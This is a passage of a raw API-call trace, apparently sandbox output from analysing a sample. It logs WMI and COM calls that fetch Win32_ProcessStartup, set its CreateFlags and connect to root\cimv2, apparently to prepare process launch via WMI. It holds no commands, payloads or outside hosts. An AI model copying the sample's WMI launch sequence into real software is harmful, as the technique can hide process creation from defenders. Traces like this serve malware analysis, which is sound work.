puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0073.796] WbemDefPath:IWbemPath:GetText (in: This=0x1169b00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0073.797] IWbemServices:GetObject (in: This=0x11dacb0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ec780, ppCallResult=0x0) returned 0x0 [0073.798] IWbemClassObject:Get (in: This=0x11ec780, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0073.798] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0073.799] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0073.799] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0073.799] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0073.799] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0073.799] IUnknown:Release (This=0x111f638) returned 0x1 [0073.801] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1becece0) returned 0x0 [0073.802] WbemDefPath:IUnknown:QueryInterface (in: This=0x1becece0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0073.802] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1becece0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1169980) returned 0x0 [0073.802] WbemDefPath:IUnknown:Release (This=0x1becece0) returned 0x0 [0073.802] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1169980) returned 0x0 [0073.802] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0073.802] WbemDefPath:IUnknown:AddRef (This=0x1169980) returned 0x3 [0073.802] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0073.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0073.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1beced00) returned 0x0 [0073.803] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beced00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.803] WbemDefPath:IUnknown:Release (This=0x1beced00) returned 0x3 [0073.803] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0073.803] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0073.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0073.803] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x2 [0073.803] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x1 [0073.803] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0073.803] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0073.803] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169980, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1169980) returned 0x0 [0073.803] WbemDefPath:IUnknown:AddRef (This=0x1169980) returned 0x3 [0073.803] WbemDefPath:IUnknown:Release (This=0x1169980) returned 0x2 [0073.803] WbemDefPath:IWbemPath:SetText (This=0x1169980, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0073.803] IWbemClassObject:Get (in: This=0x11ec780, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09a90*=0, plFlavor=0x2a09a94*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09a90*=19, plFlavor=0x2a09a94*=0) returned 0x0 [0073.804] IWbemClassObject:Get (in: This=0x11ec780, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09a90*=19, plFlavor=0x2a09a94*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a09a90*=19, plFlavor=0x2a09a94*=0) returned 0x0 [0073.804] IWbemClassObject:Put (This=0x11ec780, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0073.804] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169bc0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0073.804] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.804] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0073.804] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.804] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0073.804] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0073.804] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0073.804] IUnknown:Release (This=0x111f638) returned 0x1 [0073.806] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1beceea0) returned 0x0 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x1beceea0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0073.807] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1beceea0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x11698c0) returned 0x0 [0073.807] WbemDefPath:IUnknown:Release (This=0x1beceea0) returned 0x0 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x11698c0) returned 0x0 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0073.807] WbemDefPath:IUnknown:AddRef (This=0x11698c0) returned 0x3 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0073.807] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1beceee0) returned 0x0 [0073.807] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1beceee0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.807] WbemDefPath:IUnknown:Release (This=0x1beceee0) returned 0x3 [0073.807] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0073.808] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0073.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0073.808] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x2 [0073.808] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x1 [0073.808] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0073.808] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0073.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x11698c0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x11698c0) returned 0x0 [0073.808] WbemDefPath:IUnknown:AddRef (This=0x11698c0) returned 0x3 [0073.808] WbemDefPath:IUnknown:Release (This=0x11698c0) returned 0x2 [0073.808] WbemDefPath:IWbemPath:SetText (This=0x11698c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0073.808] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0073.808] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0073.808] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.808] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0073.808] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0073.808] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0073.808] IUnknown:Release (This=0x111f638) returned 0x1 [0073.810] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1becefe0) returned 0x0 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becefe0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0073.810] WbemLocator:IClassFactory:CreateInstance (in: This=0x1becefe0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1becf000) returned 0x0 [0073.810] WbemLocator:IUnknown:Release (This=0x1becefe0) returned 0x0 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1becf000) returned 0x0 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0073.810] WbemLocator:IUnknown:AddRef (This=0x1becf000) returned 0x3 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0073.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0073.811] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0073.811] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0073.811] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0073.811] WbemLocator:IUnknown:Release (This=0x1becf000) returned 0x2 [0073.811] WbemLocator:IUnknown:Release (This=0x1becf000) returned 0x1 [0073.811] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0073.811] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0073.811] WbemLocator:IUnknown:QueryInterface (in: This=0x1becf000, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1becf000) returned 0x0 [0073.811] WbemLocator:IUnknown:AddRef (This=0x1becf000) returned 0x3 [0073.811] WbemLocator:IUnknown:Release (This=0x1becf000) returned 0x2 [0073.811] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0073.811] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0073.811] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.811] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1becf020) returned 0x0 [0073.812] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1becf020, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x11db0a0) returned 0x0 [0073.854] WbemLocator:IUnknown:QueryInterface (in: This=0x11db0a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df720) returned 0x0 [0073.854] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df720, pProxy=0x11db0a0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0073.854] WbemLocator:IUnknown:Release (This=0x11df720) returned 0x1 [0073.854] WbemLocator:IUnknown:QueryInterface (in: This=0x11db0a0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df760) returned 0x0 [0073.854] WbemLocator:IUnknown:QueryInterface (in: This=0x11db0a0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df720) returned 0x0 [0073.855] WbemLocator:IClientSecurity:SetBlanket (This=0x11df720, pProxy=0x11db0a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0073.855] WbemLocator:IUnknown:Release (This=0x11df720) returned 0x2 [0073.855] WbemLocator:IUnknown:Release (This=0x11df760) returned 0x1 [0073.855] CoTaskMemFree (pv=0x11f0680) [0073.855] WbemLocator:IUnknown:AddRef (This=0x11db0a0) returned 0x2 [0073.855] WbemLocator:IUnknown:Release (This=0x1becf020) returned 0x0 [0073.856] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0073.856] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0073.856] WbemLocator:IUnknown:QueryInterface (in: This=0x11db0a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df730) returned 0x0 [0073.856] WbemLocator:IRpcOptions:Query (in: This=0x11df730, pPrx=0x1becf080, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0073.856] WbemLocator:IUnknown:Release (This=0x11df730) returned 0x2 [0073.856] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0073.856] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0073.856] WbemLocator:IUnknown:QueryInterface (in: This=0x11db0a0, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: 